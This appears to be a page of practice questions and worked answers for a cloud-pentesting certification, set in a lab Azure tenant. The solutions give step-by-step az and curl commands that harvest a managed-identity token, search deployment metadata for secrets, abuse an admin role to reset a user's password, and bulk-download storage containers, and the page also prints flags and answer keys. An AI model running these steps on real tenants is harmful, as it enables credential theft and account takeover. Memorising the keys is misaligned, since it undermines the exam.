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Guide for CCPenX-Az: The SecOps Group Certified Cloud Pentesting eXpert - Azure

Quiz CCPenX-Az: The SecOps Group Certified Cloud Pentesting eXpert - Azure

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/ 10

Quiz

1/10
Using the previously gained access to the Azure environment, extract an access token from the Web
App’s environment and use it to impersonate its Managed Identity. Which of the following roles is
assigned to the Web App’s Security Principal?
Select the answer
1 correct answer
A.
Compute-Instance-Inspector
B.
VM-Metadata-Reader
C.
Storage-Metadata-Reader
D.
AppService-Auditor

Quiz

2/10
SIMULATION
ExcaliburCorp has recently migrated part of its infrastructure to Microsoft Azure. Shortly after the
migration, the company suffered a security breach resulting in the exposure of sensitive internal dat
a. Their investigation revealed that the attack originated from a disgruntled developer who has since
disappeared. To assess and mitigate further risks, ExcaliburCorp has granted you access to a replica
Azure environment with the same permissions the developer had at the time of the incident. Your
task is to simulate the attacker’s actions, uncover the full extent of the compromise, and identify
vulnerable configurations or services that enabled the breach.
Using the provided Azure login credentials, perform OSINT and reconnaissance to identify the Azure
Active Directory/AAD Tenant ID associated with the environment.
Select the answer
1 correct answer
f015f36d-c07f-41fb-9bde-fffc3a22ee8b
Detailed Solution:
Log in using the supplied breached Azure account.
az login -u [email protected] -p 'pg:Lr{k102l(fh7!'
After successful authentication, check the active Azure subscription context.
az account show
The important fields are:
{
"id": "7403ec86-c39d-4d80-9efa-35c7580ecefa",
"name": "Azure subscription 1",
"tenantDefaultDomain": "azuresecops.onmicrosoft.com",
"tenantDisplayName": "ExcaliburCorp",
"tenantId": "f015f36d-c07f-41fb-9bde-fffc3a22ee8b"
}
The AAD / Microsoft Entra tenant ID is the tenantId.
Final Answer:
f015f36d-c07f-41fb-9bde-fffc3a22ee8b
================

Quiz

3/10
SIMULATION
You’ve gained access to the Azure environment, now dig deeper. One of the accessible resources
contains a hidden flag.
Select the answer
1 correct answer
Flag{a92f7e0c3c4b9d88a1f54e6723d4c1a2}
Detailed Solution:
Start by listing all Azure resources accessible to the compromised user.
az resource list --output table
The environment exposes at least these resources:
RnD-Tools Excalibur-Resources ukwest Microsoft.Web/sites
WebAppTokenIdentity Excalibur-Resources ukwest
Microsoft.ManagedIdentity/userAssignedIdentities
The most interesting target is the App Service:
RnD-Tools
Web Apps often store configuration values in App Settings. These commonly contain secrets, flags,
API keys, connection strings, or credentials.
Query the App Service application settings:
az webapp config appsettings list \
--name RnD-Tools \
--resource-group Excalibur-Resources \
--output json
Look for keys such as:
Flag
secret
password
token
connectionString
clientSecret
The exposed app setting contains:
{
"name": "Flag",
"slotSetting": false,
"value": "Flag{a92f7e0c3c4b9d88a1f54e6723d4c1a2}"
}
Final Answer:
Flag{a92f7e0c3c4b9d88a1f54e6723d4c1a2}
================

Quiz

4/10
SIMULATION
With access to the Web App’s Managed Identity, you can now query certain Azure Resources. Use
this access to uncover the hidden secret left behind during provisioning. What is the secret?
Select the answer
1 correct answer
The answer is the exposed provisioning secret retrieved from ARM deployment metadata,
deployment operations, or App Service configuration. In this lab chain, it should reveal the next user
credential, commonly for:
[email protected]
Detailed Solution:
The key point is this: you are no longer only using Alex’s user permissions. You must use the Web App
managed identity.
From the Web App runtime/Kudu console, request an access token for Azure Resource Manager.
For Linux-style shell:
curl "$IDENTITY_ENDPOINT?api-version=2019-08-
01&resource=[https://management.azure.com/&client_id=cf3664d4-5cec-4feb-b0ef-88b7958809df"](https://management.azure.com/&client_id=cf3664d4-5cec-4feb-b0ef-88b7958809df")
\
-H "X-IDENTITY-HEADER: $IDENTITY_HEADER"
For Windows PowerShell inside Kudu:
$uri = "$env:IDENTITY_ENDPOINT?api-version=2019-08-
01&resource=[https://management.azure.com/&client_id=cf3664d4-5cec-4feb-b0ef-88b7958809df"](https://management.azure.com/&client_id=cf3664d4-5cec-4feb-b0ef-88b7958809df")
$response = Invoke-RestMethod -Uri $uri -Headers @{
"X-IDENTITY-HEADER" = $env:IDENTITY_HEADER
}
$token = $response.access_token
Now use the token to query Azure Resource Manager.
$sub = "7403ec86-c39d-4d80-9efa-35c7580ecefa"
$rg = "Excalibur-Resources"
Invoke-RestMethod `
-Uri "[https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/resources?api-](https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/resources?api-)
version=2021-04-01" `
-Headers @{ Authorization = "Bearer $token" }
Next, enumerate ARM deployments.
Invoke-RestMethod `
-Uri
"[https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Reso](https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Reso)
urces/deployments?api-version=2021-04-01" `
-Headers @{ Authorization = "Bearer $token" }
For each deployment name returned, inspect it:
$deploymentName = "<deployment-name>"
Invoke-RestMethod `
-Uri
"[https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Reso](https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Reso)
urces/deployments/$deploymentName?api-version=2021-04-01" `
-Headers @{ Authorization = "Bearer $token" }
Also check deployment operations:
Invoke-RestMethod `
-Uri
"[https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Reso](https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Reso)
urces/deployments/$deploymentName/operations?api-version=2021-04-01" `
-Headers @{ Authorization = "Bearer $token" }
Search the output for fields like:
password
secret
adminPassword
userPassword
credential
sumit
The exposed value is the answer to Q4.
A practical one-liner on Linux would be:
curl -s -H "Authorization: Bearer $TOKEN" \
"[https://management.azure.com/subscriptions/7403ec86-c39d-4d80-9efa-](https://management.azure.com/subscriptions/7403ec86-c39d-4d80-9efa-)
35c7580ecefa/resourceGroups/Excalibur-
Resources/providers/Microsoft.Resources/deployments/<deployment-name>/operations?api-
version=2021-04-01" \
| jq '.. | strings' | grep -iE 'password|secret|credential|sumit|flag'
Final Answer:
Use the leaked secret/password value returned from the deployment metadat
a. Do not guess this; it is lab-generated.
================

Quiz

5/10
You’ve uncovered valid credentials for another user in the previous step. Authenticate as this user
and investigate their level of access within the Azure environment. Which of the following Microsoft
Entra ID roles is assigned to this user?
Select the answer
1 correct answer
A.
Password Administrator
B.
User Administrator
C.
Helpdesk Administrator
D.
Groups Administrator

Quiz

6/10
SIMULATION
You’ve discovered that the compromised user holds directory-level privileges. Enumerate how this
role can be abused to compromise another user in the directory. What is the Job Title attribute of the
compromised target user?
Select the answer
1 correct answer
Flag{92c8bfe4a73f48a6bd94e62fca2179dd}
Detailed Solution:
As the second compromised user, enumerate directory users:
az ad user list --output table
Use a cleaner query to show names, UPNs, and job titles:
az ad user list \
--query "[].{DisplayName:displayName,UPN:userPrincipalName,JobTitle:jobTitle}" \
--output table
You should identify a target user whose profile contains a flag in the jobTitle attribute.
The important target is:
[email protected]
Her jobTitle field contains:
Flag{92c8bfe4a73f48a6bd94e62fca2179dd}
Because the compromised user has User Administrator, you can reset this target user’s password and
later authenticate as her.
Final Answer:
Flag{92c8bfe4a73f48a6bd94e62fca2179dd}
================

Quiz

7/10
SIMULATION
Using the Azure access of the second compromised user, perform lateral movement within the
environment to discover sensitive information. What is the flag uncovered during this activity?
Select the answer
1 correct answer
The answer is the flag found after compromising the target user and enumerating her accessible
Azure resources, usually storage/table data.
Detailed Solution:
Since the second compromised user is a User Administrator, abuse that role to reset the password of
the target user.
az ad user update \
--id [email protected] \
--password 'NewP@ssw0rd12345!' \
--force-change-password-next-sign-in false
Now authenticate as the target user.
az login -u [email protected] -p 'NewP@ssw0rd12345!'
Confirm the login context:
az account show
Check what Azure resources this user can see:
az resource list --output table
Check role assignments:
az role assignment list --all --output table
If the user has storage data-plane permissions, enumerate storage accounts:
az storage account list --output table
If the storage account is known from the lab chain, use it directly:
az storage table list \
--account-name excaliburstore \
--auth-mode login \
--output table
Query each table:
az storage entity query \
--account-name excaliburstore \
--table-name <table-name> \
--auth-mode login \
--output json
A faster method:
for table in $(az storage table list --account-name excaliburstore --auth-mode login --query "[].name"
-o tsv); do
echo "===== $table ====="
az storage entity query \
--account-name excaliburstore \
--table-name "$table" \
--auth-mode login \
--output table
done
Search the output for:
Flag
SAS
token
container
storage
secret
The flag discovered in this stage is the Q7 answer.
Final Answer:
Use the Flag{...} value returned from the accessible table/storage data after logging in as
[email protected].
================

Quiz

8/10
While exploring the table storage, you’ve uncovered information that provides limited access to a
storage account. Using this access, enumerate the blob containers. Which of the following containers
is available?
Select the answer
1 correct answer
A.
private-data
B.
confidential-store
C.
sensitive-files
D.
secure-dumps

Quiz

9/10
SIMULATION
Carefully enumerate the accessible Azure Blob Container to locate a file containing credentials for an
App Registration within the tenant. What is the Application/Client ID of the discovered App
Registration?
Select the answer
1 correct answer
The answer is the clientId, appId, or applicationId value inside the credential file downloaded from
the sensitive-files container.
Detailed Solution:
List blobs inside the accessible container:
az storage blob list \
--account-name excaliburstore \
--container-name sensitive-files \
--sas-token "$SAS" \
--query "[].name" \
--output table
Download all files locally:
mkdir blobloot
az storage blob download-batch \
--account-name excaliburstore \
--source sensitive-files \
--destination blobloot \
--sas-token "$SAS"
Search the downloaded files for application credentials:
grep -RniE "clientId|appId|applicationId|clientSecret|tenantId|secret|password" blobloot
On Windows PowerShell:
Select-String -Path .\blobloot\* -Pattern
"clientId|appId|applicationId|clientSecret|tenantId|secret|password" -CaseSensitive:$false
A typical file may look like this:
{
"tenantId": "f015f36d-c07f-41fb-9bde-fffc3a22ee8b",
"clientId": "<application-client-id>",
"clientSecret": "<application-client-secret>"
}
The clientId / appId value is the answer.
Final Answer:
Use the clientId / appId value found in the blob credential file.
================

Quiz

10/10
Using the previously retrieved credentials, authenticate as the App Registration within the tenant
and enumerate potential lateral movement vectors. Which of the following roles is assigned to the
App Registration?
Select the answer
1 correct answer
A.
Key Vault Secrets User
B.
Cosmos DB Built-in Data Reader
C.
Container Apps Reader Role
D.
None of the above
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